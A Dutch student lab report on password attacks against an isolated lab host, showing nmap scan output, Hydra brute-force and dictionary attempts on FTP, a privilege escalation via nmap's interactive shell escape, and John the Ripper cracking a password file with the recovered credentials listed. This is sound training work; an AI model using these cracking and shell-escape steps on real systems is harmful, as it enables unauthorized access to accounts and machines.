# Cyber practicum 3

- LAB 3. Brute force en dictionairy attacks
  - 3.1 Online attack met Hydra
    - 3.1.1 Bruteforce attack met Hydra
    - · Dictionairy attack met hydra
  - 3.2 Offline attack met John

# LAB 3. Brute force en dictionairy attacks

## 3.1 Online attack met Hydra

#### 3.1.1 Bruteforce attack met Hydra

```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-23 16:21 EST
Nmap scan report for 10.0.2.5
Host is up (0.00051s latency).
Not shown: 977 closed tcp ports (conn-refused)
21/tcp open ftp
22/tcp open ssh
23/tcp open
25/tcp
       open
53/tcp
       open domain
80/tcp
       open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open
8009/tcp open
8180/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
```

Bij poort 21/tcp staat als status open voor de service ftp

Als je alleen poort 21 scant zie je alleen ftp

In de commandline volgt

```
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-23 16:29:22

[ERROR] definition for password bruteforce (-x) generates more than 4 billion passwords - this is not a bug in the program, it is just not feasible to try so many attempts. Try a calculator how long that would take. duh.
```

In wireshark zie je ARP met info Who has 10.0.2.3? Tell 10.0.2.5

Het probleem met brute force is dat het te veel mogelijkheden test dit duurt te lang

#### Dictionairy attack met hydra

Het wachtwoord is service

Dit gaat relatief snel omdat het aantal mogelijke passwords dat wordt gebruikt veel lager is

De beperking van deze wijze van bruteforce is dat het wachtwoord in je database moet staan

## 3.2 Offline attack met John

- Na het inloggen met telnet en gebruiker "service"
- Vul in

```
nman --interactive
```

Daarna

```
nmap>!sh
```

Na het runnen van

```
john myfile.txt --wordlist=passwords.txt
```

Vind je de wachtwoorden

```
123456789 (klog)
batman (sys)
service (service)
student (student)
```

Met john krijg je gelijk het corresponderende wachtwoord van de gebruikers

• Om deze dictionairy te gebruiken gebruik ik het volgende commando

```
john myfile.txt --wordlist=all.txt
```

• Ik vond de volgende wachtwoorden

```
user (user)
postgres (postgres)
```